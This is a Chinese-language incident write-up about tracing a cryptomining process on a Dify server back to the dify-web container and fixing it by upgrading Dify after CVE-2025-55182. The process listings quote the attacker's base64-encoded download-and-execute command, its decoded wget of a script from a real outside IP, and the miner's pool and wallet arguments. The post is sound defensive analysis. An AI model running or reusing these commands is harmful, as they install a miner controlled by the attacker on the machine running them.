记一次 dify 被攻击的例子
在服务器上部署的 dify 应用,突然不能访问了,还以为 docker 服务挂掉了,登录到机器上,发现 CPU 飙高。
top 下查看进程
yaml
~$ top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
121817 1001 25 5 313340 276072 4224 S 298.7 3.4 93:39.70 hash
46503 1001 20 0 20.8g 242688 60160 S 1.7 3.0 0:13.67 next-server (v1
801 root 20 0 2320424 62520 35456 S 0.3 0.8 0:31.39 containerd
1036 root 20 0 3488664 101828 55296 S 0.3 1.3 1:01.56 dockerd
45932 dnsmasq 20 0 34040 11688 4864 S 0.3 0.1 0:10.21 redis-server
47163 root 20 0 1417724 527424 95488 S 0.3 6.5 0:22.60 celery
47273 root 20 0 1287992 72712 39808 S 0.3 0.9 0:10.38 main
47696 root 20 0 152308 66796 19584 S 0.3 0.8 0:02.71 python
228331 root 20 0 14084 7532 6144 S 0.3 0.1 0:00.01 sshd
...
除了 hash进程 CPU 飙高以外,还有2 个进程 xmrig和 javs, 启动进程的用户是 1001,用 AI 查一下对应进程是什么



知道是挖矿进程后,我们查询一下,是哪个用户哪个进程启动的挖矿程序, 先查看登录的用户
yaml
~$ w
17:47:47 up 7:58, 2 users, load average: 4.60, 5.81, 6.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
admin xxxx 13:42 7:58m 0.00s 0.03s sshd: admin [priv]
admin xxxx 17:46 7:58m 0.00s 0.06s sshd: admin [priv]
根据当前hash进程,根据进程调用链查看是哪个进程启动的服务
bash
~$ ps -ef | grep 121817
1001 121817 121797 99 16:44 ? 01:42:14 ./hash -o auto.c3pool.org:13333 -u 45vWwParN9pJSmRVEd57jH5my5N7Py6Lsi3GqTg3wm8XReVLEietnSLWUSXayo5LdAW2objP4ubjiWTM7vk4JiYm4j3Aozd -p miner_1765529082 --randomx-1gb-pages --cpu-priority=0 --cpu-max-threads-hint=80
admin 231920 227367 0 17:50 pts/0 00:00:00 grep 121817
~$ which hash
~$ ps -ef | grep 121797
1001 121797 121794 0 16:44 ? 00:00:00 sh
1001 121817 121797 99 16:44 ? 01:44:04 ./hash -o auto.c3pool.org:13333 -u 45vWwParN9pJSmRVEd57jH5my5N7Py6Lsi3GqTg3wm8XReVLEietnSLWUSXayo5LdAW2objP4ubjiWTM7vk4JiYm4j3Aozd -p miner_1765529082 --randomx-1gb-pages --cpu-priority=0 --cpu-max-threads-hint=80
admin 232754 227367 0 17:50 pts/0 00:00:00 grep 121797
admin@iv-ye5glxdekgbw80bzfw6v:~$ ps -ef | grep 121794
1001 121794 46468 0 16:44 ? 00:00:00 /bin/sh -c echo d2dldCAtTyAvdG1wLzEyMzQ2LnNoIGh0dHA6Ly80NS4xNTYuMjQuMTY4LzEyMzQ2LnNoJiZzaCAvdG1wLzEyMzQ2LnNo|base64 -d|sh
1001 121797 121794 0 16:44 ? 00:00:00 sh
admin 233044 227367 0 17:50 pts/0 00:00:00 grep 121794
# 挖矿脚本从这个机器上下载,并允许
~$ echo d2dldCAtTyAvdG1wLzEyMzQ2LnNoIGh0dHA6Ly80NS4xNTYuMjQuMTY4LzEyMzQ2LnNoJiZzaCAvdG1wLzEyMzQ2LnNo|base64 -d
wget -O /tmp/12346.sh http://45.156.24.168/12346.sh&&sh /tmp/12346.sh
~$ ps -ef | grep 46468
1001 46468 46102 0 16:08 ? 00:00:11 next-server (v15.5.0)
1001 121794 46468 0 16:44 ? 00:00:00 /bin/sh -c echo d2dldCAtTyAvdG1wLzEyMzQ2LnNoIGh0dHA6Ly80NS4xNTYuMjQuMTY4LzEyMzQ2LnNoJiZzaCAvdG1wLzEyMzQ2LnNo|base64 -d|sh
admin 235810 227367 0 17:53 pts/0 00:00:00 grep 46468
~$ ps -ef | grep 46102
1001 46102 45930 0 16:08 ? 00:00:02 node /pnpm/global/5/.pnpm/pm2@6.0.13/node_modules/pm2/bin/pm2 start /app/web/server.js --name dify-web --cwd /app/web -i 2 --no-daemon
1001 46468 46102 0 16:08 ? 00:00:11 next-server (v15.5.0)
1001 46503 46102 0 16:08 ? 00:00:14 next-server (v15.5.0)
admin 236034 227367 0 17:53 pts/0 00:00:00 grep 46102
~$ ps -ef | grep 45930
1001 45930 45791 0 16:08 ? 00:00:00 /bin/sh ./entrypoint.sh
1001 46102 45930 0 16:08 ? 00:00:02 node /pnpm/global/5/.pnpm/pm2@6.0.13/node_modules/pm2/bin/pm2 start /app/web/server.js --name dify-web --cwd /app/web -i 2 --no-daemon
admin 236659 227367 0 17:53 pts/0 00:00:00 grep 45930
# 定位到 docker 容器中的服务
~$ ps -ef | grep 45791
root 45791 1 0 16:08 ? 00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 46fac5019c67de63335c8eceb5ba13aae000783676f486f4d5bdeefb18ddcfc0 -address /run/containerd/containerd.sock
1001 45930 45791 0 16:08 ? 00:00:00 /bin/sh ./entrypoint.sh
admin 237662 227367 0 17:54 pts/0 00:00:00 grep 45791
# 根据容器的 id 查看是哪个容器
~$ docker ps | grep 46fac5
46fac5019c67 langgenius/dify-web:1.9.1 "/bin/sh ./entrypoin..." 2 hours ago Up 2 hours 3000/tcp docker-web-1
# 原来是 dify-web 启动的挖矿进程
也可以简单一点,用pstree查看调用链路
scss
~$ pstree -p | grep hash
|-containerd-shim(45791)-+-sh(45930)---node(46102)-+-next-server (v1(46468)-+-sh(121794)---sh(121797)---hash(121817)-+-{+
难道 dify-web 包含挖矿进程,是下载的扩展插件引入的吗?继续问一下 AI

哦,那查一下 dify 的 issues 是否有 CVE-2025-55182漏洞,

查看官方的解决方法,升级 dify 到版本 1.10.2以上,问题即可解决。
为什么 dify 机器被盯上了,攻击者看上 dify 机器上的高配置显卡了,挖矿利器....